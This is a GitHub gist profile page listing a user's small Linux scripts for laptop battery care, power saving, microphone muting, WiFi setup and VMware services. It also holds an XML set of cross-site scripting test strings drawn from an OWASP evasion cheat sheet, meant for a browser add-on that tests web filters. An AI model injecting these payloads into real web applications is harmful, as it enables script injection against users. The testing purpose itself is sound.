Skip to content

Instantly share code, notes, and snippets.

View cmavr8's full-sized avatar

Chris Mavrakis cmavr8

View GitHub Profile
@cmavr8
cmavr8 / mfwifi
Last active August 29, 2015 13:58
TU/e MetaForum WiFi enabler/disabler
#!/bin/bash
# TU/e MetaForum WiFi enabler/disabler
# By Chris Mavrakis
#
# Usage:
# sudo mfwifi [enable|disable|setup]
#
# setup should be run only once, the first time. It asks for TU/e credentials,
# does not send them back to me, and creates the appropriate files in /etc/network
@cmavr8
cmavr8 / import_me_into_XSSMe.xml
Last active August 29, 2015 14:02
XSS Me strings: Default plus the ones in OWASP's XSS Filter Evasion Cheat Sheet. To be used with Firefox add-on "XSS Me": https://addons.mozilla.org/en-US/firefox/addon/xss-me/
<exportedattacks><attacks><attack><attackString><![CDATA[
<meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[
<SCRIPT>document.vulnerable=true;</SCRIPT>
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[
<IMG SRC="jav ascript:document.vulnerable=true;">
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[
<IMG SRC="javascript:document.vulnerable=true;">
### Keybase proof
I hereby claim:
* I am cmavr8 on github.
* I am chrism (https://keybase.io/chrism) on keybase.
* I have a public key whose fingerprint is 221C 85EC D3BF 93F0 9B56 1188 4139 3627 5F29 D786
To claim this, I am signing this object:
@cmavr8
cmavr8 / gist:62c744b7651d4e6b0abe
Created March 3, 2015 09:46
Automatic starting and stopping of VMWare Workstation services, to avoid running them all the time and save battery on a laptop.
#!/bin/bash
#
#
# _ __ ___ _ _ __ __ _ __ ___
# | '_ ` _ \ | | | | \ \ / / | '_ ` _ \
# | | | | | | | |_| | \ V / | | | | | |
# |_| |_| |_| \__, | \_/ |_| |_| |_|
# __/ |
# |___/
#
@cmavr8
cmavr8 / gist:6c07cea4593ae037c97b
Last active August 29, 2015 14:17
Small OpenLRS Receivers

Open source hardware

Hardware for which the source is not available yet

@cmavr8
cmavr8 / batsaver
Last active August 29, 2015 14:20
Thinkpad battery saver - Helps you prolong the service life of your Lenovo Thinkpad battery pack
#!/bin/bash
# Thinkpad battery saver - Helps you prolong the service life of your Lenovo Thinkpad battery pack
# By Chris Mavrakis - cmavrakis.com
# v0.2 - 6-May-15
# Intro:
# Based on this: http://www.batteryuniversity.com/learn/article/how_to_prolong_lithium_based_batteries and motivated by this: https://news.ycombinator.com/item?id=9487903
# One can do a few things to prolong battery life. Two of them are:
# 1. Reduce full charge Voltage to 4.00V/cell. This will give shorter run times, but battery should last double the time before needing replacement (measured in years of use).
@cmavr8
cmavr8 / bathealth
Last active August 29, 2015 14:20
Bathealth - Shows live info and statistics about a Lenovo Thinkpad battery
#!/bin/bash
# Bathealth - Shows live info and statistics about a Lenovo Thinkpad battery
# By Chris Mavrakis - cmavrakis.com
# v0.3 - 6-May-15
# Usage:
# - Install in /usr/bin or ~/bin, or not...
# - Run as a normal user: bathealth or ./bathealth
@cmavr8
cmavr8 / power
Created June 11, 2011 13:38
Laptop power saving - for a Lenovo X201s running Ubuntu 11.04
#!/bin/bash
rfkill block bluetooth
iwconfig wlan0 power on
iwconfig wlan0 txpower 30mW
iwconfig wlan0 power timeout 500ms
killall dropbox
echo min_power > /sys/class/scsi_host/host0/link_power_management_policy
echo ondemand > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
@cmavr8
cmavr8 / mute
Created September 19, 2011 13:39
Mute/Unmute microphone on a Lenovo X201s
#!/bin/bash
#Map this script to a button (eg F1) to mute your mic while VoIPing
currentlevel=`amixer get Capture |grep "Front Left:" | awk '{ print ($5) }'`
if [ $currentlevel == '[100%]' ]; then
amixer set Capture 0
echo "Mic muted" >> /tmp/mutelog
elif [ $currentlevel == '[0%]' ]; then
amixer set Capture 100
echo "Mic unmuted" >> /tmp/mutelog
else
@cmavr8
cmavr8 / nm-watchdog
Created September 19, 2011 13:41
Simple watchdog script to make sure NetworkManager applet is always running. Nm-applet is restarted after it's exited due to bugs etc.
#!/bin/bash
#This script makes sure nm-applet is always running.
echo "Initiating script (`date`)" > /tmp/nm-watchdog
while [ 1 == 1 ]
do
#echo "Checking..." >> /tmp/nm-watchdog
tmp=`ps -e |grep nm-applet`
if [[ "$tmp" == '' ]]
then
export DISPLAY=':0.0'